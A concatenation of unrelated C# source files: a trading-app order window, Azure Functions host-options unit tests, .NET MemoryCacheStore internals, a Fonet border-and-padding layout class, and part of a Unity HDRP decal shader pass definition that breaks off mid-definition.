_candleSeries = new CandleSeries(CandleSettingsEditor.Settings.CandleType, security, CandleSettingsEditor.Settings.Arg);
_candleManager.Start(_candleSeries);
}
private void NewOrder_OnClick(object sender, RoutedEventArgs e)
{
OrderGrid_OrderRegistering();
}
private void OrderGrid_OrderRegistering()
{
var newOrder = new OrderWindow
{
Order = new Order { Security = _security },
SecurityProvider = _connector,
MarketDataProvider = _connector,
Portfolios = new PortfolioDataSource(_connector),
};
if (newOrder.ShowModal(this))
_connector.RegisterOrder(newOrder.Order);
}
private void OrderGrid_OnOrderCanceling(IEnumerable<Order> orders)
{
orders.ForEach(_connector.CancelOrder);
}
private void OrderGrid_OnOrderReRegistering(Order order)
{
var window = new OrderWindow
{
Title = LocalizedStrings.Str2976Params.Put(order.TransactionId),
SecurityProvider = _connector,
MarketDataProvider = _connector,
Portfolios = new PortfolioDataSource(_connector),
Order = order.ReRegisterClone(newVolume: order.Balance)
};
if (window.ShowModal(this))
_connector.ReRegisterOrder(order, window.Order);
}
private void FindClick(object sender, RoutedEventArgs e)
{
var wnd = new SecurityLookupWindow { Criteria = new Security { Code = "AAPL" } };
if (!wnd.ShowModal(this))
return;
_connector.LookupSecurities(wnd.Criteria);
}
}
}
| |
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Azure.WebJobs.Script.Configuration;
using Microsoft.Azure.WebJobs.Script.Rpc;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Options;
using Xunit;
namespace Microsoft.Azure.WebJobs.Script.Tests.Configuration
{
public class ScriptHostOptionsSetupTests
{
[Fact]
public void Configure_FileWatching()
{
var settings = new Dictionary<string, string>
{
{ ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "fileWatchingEnabled"), "true" }
};
ScriptHostOptionsSetup setup = CreateSetupWithConfiguration(settings);
var options = new ScriptJobHostOptions();
// Validate default (this should be in another test - migrated here for now)
Assert.True(options.FileWatchingEnabled);
setup.Configure(options);
Assert.True(options.FileWatchingEnabled);
Assert.Equal(1, options.WatchDirectories.Count);
Assert.Equal("node_modules", options.WatchDirectories.ElementAt(0));
// File watching disabled
settings[ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "fileWatchingEnabled")] = bool.FalseString;
setup = CreateSetupWithConfiguration(settings);
options = new ScriptJobHostOptions();
setup.Configure(options);
Assert.False(options.FileWatchingEnabled);
// File watching enabled, watch directories
settings[ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "fileWatchingEnabled")] = bool.TrueString;
settings[ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "watchDirectories", "0")] = "Shared";
settings[ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "watchDirectories", "1")] = "Tools";
setup = CreateSetupWithConfiguration(settings);
options = new ScriptJobHostOptions();
setup.Configure(options);
Assert.True(options.FileWatchingEnabled);
Assert.Equal(3, options.WatchDirectories.Count);
Assert.Equal("node_modules", options.WatchDirectories.ElementAt(0));
Assert.Equal("Shared", options.WatchDirectories.ElementAt(1));
Assert.Equal("Tools", options.WatchDirectories.ElementAt(2));
}
[Fact(Skip = "ApplyConfiguration no longer exists. Validate logic (moved to HostJsonFileConfigurationSource)")]
public void Configure_AllowPartialHostStartup()
{
//var settings = new Dictionary<string, string>
//{
// { ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "fileWatchingEnabled"), "true" }
//};
//var options = new ScriptHostOptions();
//// Validate default (this should be in another test - migrated here for now)
//Assert.True(options.FileWatchingEnabled);
//Assert.True(options.HostConfig.AllowPartialHostStartup);
//// explicit setting can override our default
//scriptConfig = new ScriptHostConfiguration();
//config["allowPartialHostStartup"] = new JValue(true);
//ScriptHost.ApplyConfiguration(config, scriptConfig);
//Assert.True(scriptConfig.HostConfig.AllowPartialHostStartup);
//// explicit setting can override our default
//scriptConfig = new ScriptHostConfiguration();
//config["allowPartialHostStartup"] = new JValue(false);
//ScriptHost.ApplyConfiguration(config, scriptConfig);
//Assert.False(scriptConfig.HostConfig.AllowPartialHostStartup);
}
[Fact]
public void Configure_AppliesDefaults_IfDynamic()
{
var settings = new Dictionary<string, string>();
var environment = new TestEnvironment();
environment.SetEnvironmentVariable(EnvironmentSettingNames.AzureWebsiteSku, "Dynamic");
var options = GetConfiguredOptions(settings, environment);
Assert.Equal(ScriptHostOptionsSetup.DefaultFunctionTimeoutDynamic, options.FunctionTimeout);
// When functionTimeout is set as null
settings.Add(ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "functionTimeout"), string.Empty);
options = GetConfiguredOptions(settings, environment);
Assert.Equal(ScriptHostOptionsSetup.DefaultFunctionTimeoutDynamic, options.FunctionTimeout);
// TODO: DI Need to ensure JobHostOptions is correctly configured
//var timeoutConfig = options.HostOptions.FunctionTimeout;
//Assert.NotNull(timeoutConfig);
//Assert.True(timeoutConfig.ThrowOnTimeout);
//Assert.Equal(scriptConfig.FunctionTimeout.Value, timeoutConfig.Timeout);
}
[Fact]
public void Configure_AppliesTimeout()
{
var settings = new Dictionary<string, string>
{
{ ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "functionTimeout"), "00:00:30" }
};
var options = GetConfiguredOptions(settings);
Assert.Equal(TimeSpan.FromSeconds(30), options.FunctionTimeout);
}
[Fact]
public void Configure_TimeoutDefaultsNull_IfNotDynamic()
{
var options = GetConfiguredOptions(new Dictionary<string, string>());
Assert.Equal(ScriptHostOptionsSetup.DefaultFunctionTimeout, options.FunctionTimeout);
// When functionTimeout is set as null
var settings = new Dictionary<string, string>
{
{ ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "functionTimeout"), string.Empty }
};
options = GetConfiguredOptions(settings);
Assert.Equal(ScriptHostOptionsSetup.DefaultFunctionTimeout, options.FunctionTimeout);
}
[Fact]
public void Configure_NoMaxTimeoutLimits_IfNotDynamic()
{
var timeout = ScriptHostOptionsSetup.MaxFunctionTimeoutDynamic + TimeSpan.FromMinutes(10);
string configPath = ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "functionTimeout");
var settings = new Dictionary<string, string>
{
{ configPath, timeout.ToString() }
};
var options = GetConfiguredOptions(settings);
Assert.Equal(timeout, options.FunctionTimeout);
}
[Fact]
public void Configure_AppliesInfiniteTimeout_IfNotDynamic()
{
var settings = new Dictionary<string, string>
{
{ ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "functionTimeout"), "-1" }
};
var options = GetConfiguredOptions(settings);
Assert.Equal(null, options.FunctionTimeout);
}
[Fact]
public void Configure_AppliesTimeoutLimits_IfDynamic()
{
string configPath = ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "functionTimeout");
var settings = new Dictionary<string, string>
{
{ configPath, (ScriptHostOptionsSetup.MaxFunctionTimeoutDynamic + TimeSpan.FromSeconds(1)).ToString() }
};
var environment = new TestEnvironment();
environment.SetEnvironmentVariable(EnvironmentSettingNames.AzureWebsiteSku, "Dynamic");
var ex = Assert.Throws<ArgumentException>(() => GetConfiguredOptions(settings, environment));
var expectedMessage = "FunctionTimeout must be greater than 00:00:01 and less than 00:10:00.";
Assert.Equal(expectedMessage, ex.Message);
settings[configPath] = (ScriptHostOptionsSetup.MinFunctionTimeout - TimeSpan.FromSeconds(1)).ToString();
ex = Assert.Throws<ArgumentException>(() => GetConfiguredOptions(settings, environment));
Assert.Equal(expectedMessage, ex.Message);
settings[configPath] = "-1";
ex = Assert.Throws<ArgumentException>(() => GetConfiguredOptions(settings, environment));
Assert.Equal(expectedMessage, ex.Message);
}
[Fact]
public void Configure_MinTimeoutLimit_IfNotDynamic()
{
string configPath = ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, "functionTimeout");
var settings = new Dictionary<string, string>
{
{ configPath, (ScriptHostOptionsSetup.MinFunctionTimeout - TimeSpan.FromSeconds(1)).ToString() }
};
var ex = Assert.Throws<ArgumentException>(() => GetConfiguredOptions(settings));
var expectedMessage = $"FunctionTimeout must be greater than 00:00:01 and less than {TimeSpan.MaxValue}.";
Assert.Equal(expectedMessage, ex.Message);
}
[Fact]
public void Configure_Default_AppliesFileLoggingMode()
{
var settings = new Dictionary<string, string>();
var options = GetConfiguredOptions(settings);
Assert.Equal(FileLoggingMode.DebugOnly, options.FileLoggingMode);
}
[Theory]
[InlineData("never", FileLoggingMode.Never)]
[InlineData("always", FileLoggingMode.Always)]
[InlineData("debugOnly", FileLoggingMode.DebugOnly)]
public void ConfigureW_WithConfiguration_AppliesFileLoggingMode(string setting, FileLoggingMode expectedMode)
{
var settings = new Dictionary<string, string>
{
{ ConfigurationPath.Combine(ConfigurationSectionNames.JobHost, ConfigurationSectionNames.Logging, "fileLoggingMode"), setting }
};
var options = GetConfiguredOptions(settings);
Assert.Equal(expectedMode, options.FileLoggingMode);
}
private ScriptJobHostOptions GetConfiguredOptions(Dictionary<string, string> settings, IEnvironment environment = null)
{
ScriptHostOptionsSetup setup = CreateSetupWithConfiguration(settings, environment);
var options = new ScriptJobHostOptions();
setup.Configure(options);
return options;
}
private ScriptHostOptionsSetup CreateSetupWithConfiguration(Dictionary<string, string> settings = null, IEnvironment environment = null)
{
var builder = new ConfigurationBuilder();
environment = environment ?? SystemEnvironment.Instance;
if (settings != null)
{
builder.AddInMemoryCollection(settings);
}
var configuration = builder.Build();
return new ScriptHostOptionsSetup(configuration, environment, new OptionsWrapper<ScriptApplicationHostOptions>(new ScriptApplicationHostOptions()));
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections;
using System.Collections.Specialized;
using System.Threading;
using System.Diagnostics;
using System.Security;
using System.Security.Permissions;
using System.Diagnostics.CodeAnalysis;
namespace System.Runtime.Caching
{
internal sealed class MemoryCacheStore : IDisposable
{
private const int INSERT_BLOCK_WAIT = 10000;
private const int MAX_COUNT = Int32.MaxValue / 2;
private Hashtable _entries;
private Object _entriesLock;
private CacheExpires _expires;
private CacheUsage _usage;
private int _disposed;
private ManualResetEvent _insertBlock;
private volatile bool _useInsertBlock;
private MemoryCache _cache;
private PerfCounters _perfCounters;
internal MemoryCacheStore(MemoryCache cache, PerfCounters perfCounters)
{
_cache = cache;
_perfCounters = perfCounters;
_entries = new Hashtable(new MemoryCacheEqualityComparer());
_entriesLock = new Object();
_expires = new CacheExpires(this);
_usage = new CacheUsage(this);
InitDisposableMembers();
}
// private members
private void AddToCache(MemoryCacheEntry entry)
{
// add outside of lock
if (entry == null)
{
return;
}
if (entry.HasExpiration())
{
_expires.Add(entry);
}
if (entry.HasUsage()
&& (!entry.HasExpiration() || entry.UtcAbsExp - DateTime.UtcNow >= CacheUsage.MIN_LIFETIME_FOR_USAGE))
{
_usage.Add(entry);
}
// One last sanity check to be sure we didn't fall victim to an Add concurrency
if (!entry.CompareExchangeState(EntryState.AddedToCache, EntryState.AddingToCache))
{
if (entry.InExpires())
{
_expires.Remove(entry);
}
if (entry.InUsage())
{
_usage.Remove(entry);
}
}
entry.CallNotifyOnChanged();
if (_perfCounters != null)
{
_perfCounters.Increment(PerfCounterName.Entries);
_perfCounters.Increment(PerfCounterName.Turnover);
}
}
private void InitDisposableMembers()
{
_insertBlock = new ManualResetEvent(true);
_expires.EnableExpirationTimer(true);
}
private void RemoveFromCache(MemoryCacheEntry entry, CacheEntryRemovedReason reason, bool delayRelease = false)
{
// release outside of lock
if (entry != null)
{
if (entry.InExpires())
{
_expires.Remove(entry);
}
if (entry.InUsage())
{
_usage.Remove(entry);
}
Dbg.Assert(entry.State == EntryState.RemovingFromCache, "entry.State = EntryState.RemovingFromCache");
entry.State = EntryState.RemovedFromCache;
if (!delayRelease)
{
entry.Release(_cache, reason);
}
if (_perfCounters != null)
{
_perfCounters.Decrement(PerfCounterName.Entries);
_perfCounters.Increment(PerfCounterName.Turnover);
}
}
}
// 'updatePerfCounters' defaults to true since this method is called by all Get() operations
// to update both the performance counters and the sliding expiration. Callers that perform
// nested sliding expiration updates (like a MemoryCacheEntry touching its update sentinel)
// can pass false to prevent these from unintentionally showing up in the perf counters.
internal void UpdateExpAndUsage(MemoryCacheEntry entry, bool updatePerfCounters = true)
{
if (entry != null)
{
if (entry.InUsage() || entry.SlidingExp > TimeSpan.Zero)
{
DateTime utcNow = DateTime.UtcNow;
entry.UpdateSlidingExp(utcNow, _expires);
entry.UpdateUsage(utcNow, _usage);
}
// If this entry has an update sentinel, the sliding expiration is actually associated
// with that sentinel, not with this entry. We need to update the sentinel's sliding expiration to
// keep the sentinel from expiring, which in turn would force a removal of this entry from the cache.
entry.UpdateSlidingExpForUpdateSentinel();
if (updatePerfCounters && _perfCounters != null)
{
_perfCounters.Increment(PerfCounterName.Hits);
_perfCounters.Increment(PerfCounterName.HitRatio);
_perfCounters.Increment(PerfCounterName.HitRatioBase);
}
}
else
{
if (updatePerfCounters && _perfCounters != null)
{
_perfCounters.Increment(PerfCounterName.Misses);
_perfCounters.Increment(PerfCounterName.HitRatioBase);
}
}
}
private void WaitInsertBlock()
{
_insertBlock.WaitOne(INSERT_BLOCK_WAIT, false);
}
// public/internal members
internal CacheUsage Usage { get { return _usage; } }
internal MemoryCacheEntry AddOrGetExisting(MemoryCacheKey key, MemoryCacheEntry entry)
{
if (_useInsertBlock && entry.HasUsage())
{
WaitInsertBlock();
}
MemoryCacheEntry existingEntry = null;
MemoryCacheEntry toBeReleasedEntry = null;
bool added = false;
lock (_entriesLock)
{
if (_disposed == 0)
{
existingEntry = _entries[key] as MemoryCacheEntry;
// has it expired?
if (existingEntry != null && existingEntry.UtcAbsExp <= DateTime.UtcNow)
{
toBeReleasedEntry = existingEntry;
toBeReleasedEntry.State = EntryState.RemovingFromCache;
existingEntry = null;
}
// can we add entry to the cache?
if (existingEntry == null)
{
entry.State = EntryState.AddingToCache;
added = true;
_entries[key] = entry;
}
}
}
// release outside of lock
RemoveFromCache(toBeReleasedEntry, CacheEntryRemovedReason.Expired, delayRelease: true);
if (added)
{
// add outside of lock
AddToCache(entry);
}
// update outside of lock
UpdateExpAndUsage(existingEntry);
// Call Release after the new entry has been completely added so
// that the CacheItemRemovedCallback can take a dependency on the newly inserted item.
if (toBeReleasedEntry != null)
{
toBeReleasedEntry.Release(_cache, CacheEntryRemovedReason.Expired);
}
return existingEntry;
}
internal void BlockInsert()
{
_insertBlock.Reset();
_useInsertBlock = true;
}
internal void CopyTo(IDictionary h)
{
lock (_entriesLock)
{
if (_disposed == 0)
{
foreach (DictionaryEntry e in _entries)
{
MemoryCacheKey key = e.Key as MemoryCacheKey;
MemoryCacheEntry entry = e.Value as MemoryCacheEntry;
if (entry.UtcAbsExp > DateTime.UtcNow)
{
h[key.Key] = entry.Value;
}
}
}
}
}
internal int Count
{
get
{
return _entries.Count;
}
}
public void Dispose()
{
if (Interlocked.Exchange(ref _disposed, 1) == 0)
{
// disable CacheExpires timer
_expires.EnableExpirationTimer(false);
// build array list of entries
ArrayList entries = new ArrayList(_entries.Count);
lock (_entriesLock)
{
foreach (DictionaryEntry e in _entries)
{
MemoryCacheEntry entry = e.Value as MemoryCacheEntry;
entries.Add(entry);
}
foreach (MemoryCacheEntry entry in entries)
{
MemoryCacheKey key = entry as MemoryCacheKey;
entry.State = EntryState.RemovingFromCache;
_entries.Remove(key);
}
}
// release entries outside of lock
foreach (MemoryCacheEntry entry in entries)
{
RemoveFromCache(entry, CacheEntryRemovedReason.CacheSpecificEviction);
}
// MemoryCacheStatistics has been disposed, and therefore nobody should be using
// _insertBlock except for potential threads in WaitInsertBlock (which won't care if we call Close).
Dbg.Assert(_useInsertBlock == false, "_useInsertBlock == false");
_insertBlock.Close();
// Don't need to call GC.SuppressFinalize(this) for sealed types without finalizers.
}
}
internal MemoryCacheEntry Get(MemoryCacheKey key)
{
MemoryCacheEntry entry = _entries[key] as MemoryCacheEntry;
// has it expired?
if (entry != null && entry.UtcAbsExp <= DateTime.UtcNow)
{
Remove(key, entry, CacheEntryRemovedReason.Expired);
entry = null;
}
// update outside of lock
UpdateExpAndUsage(entry);
return entry;
}
internal MemoryCacheEntry Remove(MemoryCacheKey key, MemoryCacheEntry entryToRemove, CacheEntryRemovedReason reason)
{
MemoryCacheEntry entry = null;
lock (_entriesLock)
{
if (_disposed == 0)
{
// get current entry
entry = _entries[key] as MemoryCacheEntry;
// remove if it matches the entry to be removed (but always remove if entryToRemove is null)
if (entryToRemove == null || Object.ReferenceEquals(entry, entryToRemove))
{
if (entry != null)
{
entry.State = EntryState.RemovingFromCache;
_entries.Remove(key);
}
}
else
{
entry = null;
}
}
}
// release outside of lock
RemoveFromCache(entry, reason);
return entry;
}
internal void Set(MemoryCacheKey key, MemoryCacheEntry entry)
{
if (_useInsertBlock && entry.HasUsage())
{
WaitInsertBlock();
}
MemoryCacheEntry existingEntry = null;
bool added = false;
lock (_entriesLock)
{
if (_disposed == 0)
{
existingEntry = _entries[key] as MemoryCacheEntry;
if (existingEntry != null)
{
existingEntry.State = EntryState.RemovingFromCache;
}
entry.State = EntryState.AddingToCache;
added = true;
_entries[key] = entry;
}
}
CacheEntryRemovedReason reason = CacheEntryRemovedReason.Removed;
if (existingEntry != null)
{
if (existingEntry.UtcAbsExp <= DateTime.UtcNow)
{
reason = CacheEntryRemovedReason.Expired;
}
RemoveFromCache(existingEntry, reason, delayRelease: true);
}
if (added)
{
AddToCache(entry);
}
// Call Release after the new entry has been completely added so
// that the CacheItemRemovedCallback can take a dependency on the newly inserted item.
if (existingEntry != null)
{
existingEntry.Release(_cache, reason);
}
}
internal long TrimInternal(int percent)
{
Dbg.Assert(percent <= 100, "percent <= 100");
int count = Count;
int toTrim = 0;
// do we need to drop a percentage of entries?
if (percent > 0)
{
toTrim = (int)Math.Ceiling(((long)count * (long)percent) / 100D);
// would this leave us above MAX_COUNT?
int minTrim = count - MAX_COUNT;
if (toTrim < minTrim)
{
toTrim = minTrim;
}
}
// do we need to trim?
if (toTrim <= 0 || _disposed == 1)
{
return 0;
}
int trimmed = 0; // total number of entries trimmed
int trimmedOrExpired = 0;
#if DEBUG
int beginTotalCount = count;
#endif
trimmedOrExpired = _expires.FlushExpiredItems(true);
if (trimmedOrExpired < toTrim)
{
trimmed = _usage.FlushUnderUsedItems(toTrim - trimmedOrExpired);
trimmedOrExpired += trimmed;
}
if (trimmed > 0 && _perfCounters != null)
{
// Update values for perfcounters
_perfCounters.IncrementBy(PerfCounterName.Trims, trimmed);
}
#if DEBUG
Dbg.Trace("MemoryCacheStore", "TrimInternal:"
+ " beginTotalCount=" + beginTotalCount
+ ", endTotalCount=" + count
+ ", percent=" + percent
+ ", trimmed=" + trimmed);
#endif
return trimmedOrExpired;
}
internal void UnblockInsert()
{
_useInsertBlock = false;
_insertBlock.Set();
}
}
}
| |
using System;
using Fonet.DataTypes;
namespace Fonet.Layout
{
internal class BorderAndPadding : ICloneable
{
public const int TOP = 0;
public const int RIGHT = 1;
public const int BOTTOM = 2;
public const int LEFT = 3;
internal class ResolvedCondLength : ICloneable
{
internal int iLength;
internal bool bDiscard;
private ResolvedCondLength(int iLength, bool bDiscard)
{
this.iLength = iLength;
this.bDiscard = bDiscard;
}
internal ResolvedCondLength(CondLength length)
{
bDiscard = length.IsDiscard();
iLength = length.MValue();
}
public object Clone()
{
return new ResolvedCondLength(this.iLength, this.bDiscard);
}
}
public object Clone()
{
BorderAndPadding bp = new BorderAndPadding();
bp.padding = (ResolvedCondLength[])padding.Clone();
bp.borderInfo = (BorderInfo[])borderInfo.Clone();
for (int i = 0; i < padding.Length; i++)
{
if (padding[i] != null)
{
bp.padding[i] = (ResolvedCondLength)padding[i].Clone();
}
if (borderInfo[i] != null)
{
bp.borderInfo[i] = (BorderInfo)borderInfo[i].Clone();
}
}
return bp;
}
internal class BorderInfo : ICloneable
{
internal int mStyle;
internal ColorType mColor;
internal ResolvedCondLength mWidth;
internal BorderInfo(int style, CondLength width, ColorType color)
{
mStyle = style;
mWidth = new ResolvedCondLength(width);
mColor = color;
}
private BorderInfo(int style, ResolvedCondLength width, ColorType color)
{
mStyle = style;
mWidth = width;
mColor = color;
}
public object Clone()
{
return new BorderInfo(
mStyle, (ResolvedCondLength)mWidth.Clone(), (ColorType)mColor.Clone());
}
}
private BorderInfo[] borderInfo = new BorderInfo[4];
private ResolvedCondLength[] padding = new ResolvedCondLength[4];
public BorderAndPadding()
{
}
public void setBorder(int side, int style, CondLength width,
ColorType color)
{
borderInfo[side] = new BorderInfo(style, width, color);
}
public void setPadding(int side, CondLength width)
{
padding[side] = new ResolvedCondLength(width);
}
public void setPaddingLength(int side, int iLength)
{
padding[side].iLength = iLength;
}
public void setBorderLength(int side, int iLength)
{
borderInfo[side].mWidth.iLength = iLength;
}
public int getBorderLeftWidth(bool bDiscard)
{
return getBorderWidth(LEFT, bDiscard);
}
public int getBorderRightWidth(bool bDiscard)
{
return getBorderWidth(RIGHT, bDiscard);
}
public int getBorderTopWidth(bool bDiscard)
{
return getBorderWidth(TOP, bDiscard);
}
public int getBorderBottomWidth(bool bDiscard)
{
return getBorderWidth(BOTTOM, bDiscard);
}
public int getPaddingLeft(bool bDiscard)
{
return getPadding(LEFT, bDiscard);
}
public int getPaddingRight(bool bDiscard)
{
return getPadding(RIGHT, bDiscard);
}
public int getPaddingBottom(bool bDiscard)
{
return getPadding(BOTTOM, bDiscard);
}
public int getPaddingTop(bool bDiscard)
{
return getPadding(TOP, bDiscard);
}
private int getBorderWidth(int side, bool bDiscard)
{
if ((borderInfo[side] == null)
|| (bDiscard && borderInfo[side].mWidth.bDiscard))
{
return 0;
}
else
{
return borderInfo[side].mWidth.iLength;
}
}
public ColorType getBorderColor(int side)
{
if (borderInfo[side] != null)
{
return borderInfo[side].mColor;
}
else
{
return null;
}
}
public int getBorderStyle(int side)
{
if (borderInfo[side] != null)
{
return borderInfo[side].mStyle;
}
else
{
return 0;
}
}
private int getPadding(int side, bool bDiscard)
{
if ((padding[side] == null) || (bDiscard && padding[side].bDiscard))
{
return 0;
}
else
{
return padding[side].iLength;
}
}
}
}
| |
using System.Collections.Generic;
using UnityEditor.Graphing;
using UnityEditor.ShaderGraph;
using UnityEngine.Rendering;
using UnityEngine.Experimental.Rendering.HDPipeline;
namespace UnityEditor.Experimental.Rendering.HDPipeline
{
class DecalSubShader : IDecalSubShader
{
// CAUTION: Render code in RenderIntoDBuffer() in DecalSystem relies on the order in which the passes are declared, any change will need to be reflected.
Pass m_PassProjector3RT = new Pass()
{
Name = "ShaderGraph_DBufferProjector3RT",
LightMode = "ShaderGraph_DBufferProjector3RT",
TemplateName = "DecalPass.template",
MaterialName = "Decal",
ShaderPassName = "SHADERPASS_DBUFFER_PROJECTOR",
CullOverride = "Cull Front",
ZTestOverride = "ZTest Greater",
ZWriteOverride = "ZWrite Off",
BlendOverride = "Blend 0 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 1 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 2 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha",
ExtraDefines = new List<string>()
{
"#define DECALS_3RT",
},
Includes = new List<string>()
{
"#include \"Packages/com.unity.render-pipelines.high-definition/Runtime/RenderPipeline/ShaderPass/ShaderPassDecal.hlsl\""
},
RequiredFields = new List<string>()
{
},
PixelShaderSlots = new List<int>()
{
DecalMasterNode.AlbedoSlotId,
DecalMasterNode.BaseColorOpacitySlotId,
DecalMasterNode.NormalSlotId,
DecalMasterNode.NormaOpacitySlotId,
DecalMasterNode.MetallicSlotId,
DecalMasterNode.AmbientOcclusionSlotId,
DecalMasterNode.SmoothnessSlotId,
DecalMasterNode.MAOSOpacitySlotId,
},
VertexShaderSlots = new List<int>()
{
},
UseInPreview = true,
OnGeneratePassImpl = (IMasterNode node, ref Pass pass) =>
{
DecalMasterNode masterNode = node as DecalMasterNode;
int colorMaskIndex = 4; // smoothness only
pass.ColorMaskOverride = m_ColorMasks[colorMaskIndex];
pass.StencilOverride = new List<string>()
{
"// Stencil setup",
"Stencil",
"{",
string.Format(" WriteMask {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
string.Format(" Ref {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
"Comp Always",
"Pass Replace",
"}"
};
}
};
Pass m_PassProjector4RT = new Pass()
{
Name = "ShaderGraph_DBufferProjector4RT",
LightMode = "ShaderGraph_DBufferProjector4RT",
TemplateName = "DecalPass.template",
MaterialName = "Decal",
ShaderPassName = "SHADERPASS_DBUFFER_PROJECTOR",
CullOverride = "Cull Front",
ZTestOverride = "ZTest Greater",
ZWriteOverride = "ZWrite Off",
BlendOverride = "Blend 0 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 1 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 2 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 3 Zero OneMinusSrcColor",
ExtraDefines = new List<string>()
{
"#define DECALS_4RT",
},
Includes = new List<string>()
{
"#include \"Packages/com.unity.render-pipelines.high-definition/Runtime/RenderPipeline/ShaderPass/ShaderPassDecal.hlsl\""
},
RequiredFields = new List<string>()
{
},
PixelShaderSlots = new List<int>()
{
DecalMasterNode.AlbedoSlotId,
DecalMasterNode.BaseColorOpacitySlotId,
DecalMasterNode.NormalSlotId,
DecalMasterNode.NormaOpacitySlotId,
DecalMasterNode.MetallicSlotId,
DecalMasterNode.AmbientOcclusionSlotId,
DecalMasterNode.SmoothnessSlotId,
DecalMasterNode.MAOSOpacitySlotId,
},
VertexShaderSlots = new List<int>()
{
},
UseInPreview = true,
OnGeneratePassImpl = (IMasterNode node, ref Pass pass) =>
{
DecalMasterNode masterNode = node as DecalMasterNode;
int colorMaskIndex = (masterNode.affectsMetal.isOn ? 1 : 0);
colorMaskIndex |= (masterNode.affectsAO.isOn ? 2 : 0);
colorMaskIndex |= (masterNode.affectsSmoothness.isOn ? 4 : 0);
pass.ColorMaskOverride = m_ColorMasks[colorMaskIndex];
pass.StencilOverride = new List<string>()
{
"// Stencil setup",
"Stencil",
"{",
string.Format(" WriteMask {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
string.Format(" Ref {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
"Comp Always",
"Pass Replace",
"}"
};
}
};
Pass m_PassProjectorEmissive = new Pass()
{
Name = "ShaderGraph_ProjectorEmissive",
LightMode = "ShaderGraph_ProjectorEmissive",
TemplateName = "DecalPass.template",
MaterialName = "Decal",
ShaderPassName = "SHADERPASS_FORWARD_EMISSIVE_PROJECTOR",
CullOverride = "Cull Front",
ZTestOverride = "ZTest Greater",
ZWriteOverride = "ZWrite Off",
BlendOverride = "Blend 0 SrcAlpha One",
ExtraDefines = new List<string>()
{
},
Includes = new List<string>()
{
"#include \"Packages/com.unity.render-pipelines.high-definition/Runtime/RenderPipeline/ShaderPass/ShaderPassDecal.hlsl\""
},
RequiredFields = new List<string>()
{
},
PixelShaderSlots = new List<int>()
{
DecalMasterNode.EmissionSlotId
},
VertexShaderSlots = new List<int>()
{
},
UseInPreview = true,
};
Pass m_PassMesh3RT = new Pass()
{
Name = "ShaderGraph_DBufferMesh3RT",
LightMode = "ShaderGraph_DBufferMesh3RT",
TemplateName = "DecalPass.template",
MaterialName = "Decal",
ShaderPassName = "SHADERPASS_DBUFFER_MESH",
ZTestOverride = "ZTest LEqual",
ZWriteOverride = "ZWrite Off",
BlendOverride = "Blend 0 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 1 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 2 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha",
ExtraDefines = new List<string>()
{
"#define DECALS_3RT",
},
Includes = new List<string>()
{
"#include \"Packages/com.unity.render-pipelines.high-definition/Runtime/RenderPipeline/ShaderPass/ShaderPassDecal.hlsl\""
},
RequiredFields = new List<string>()
{
"AttributesMesh.normalOS",
"AttributesMesh.tangentOS",
"AttributesMesh.uv0",
"FragInputs.worldToTangent",
"FragInputs.positionRWS",
"FragInputs.texCoord0",
},
PixelShaderSlots = new List<int>()
{
DecalMasterNode.AlbedoSlotId,
DecalMasterNode.BaseColorOpacitySlotId,
DecalMasterNode.NormalSlotId,
DecalMasterNode.NormaOpacitySlotId,
DecalMasterNode.MetallicSlotId,
DecalMasterNode.AmbientOcclusionSlotId,
DecalMasterNode.SmoothnessSlotId,
DecalMasterNode.MAOSOpacitySlotId,
},
VertexShaderSlots = new List<int>()
{
},
UseInPreview = true,
OnGeneratePassImpl = (IMasterNode node, ref Pass pass) =>
{
DecalMasterNode masterNode = node as DecalMasterNode;
int colorMaskIndex = 4; // smoothness only
pass.ColorMaskOverride = m_ColorMasks[colorMaskIndex];
pass.StencilOverride = new List<string>()
{
"// Stencil setup",
"Stencil",
"{",
string.Format(" WriteMask {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
string.Format(" Ref {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
"Comp Always",
"Pass Replace",
"}"
};
}
};
Pass m_PassMesh4RT = new Pass()
{
Name = "ShaderGraph_DBufferMesh4RT",
LightMode = "ShaderGraph_DBufferMesh4RT",
TemplateName = "DecalPass.template",
MaterialName = "Decal",
ShaderPassName = "SHADERPASS_DBUFFER_MESH",
ZTestOverride = "ZTest LEqual",
ZWriteOverride = "ZWrite Off",
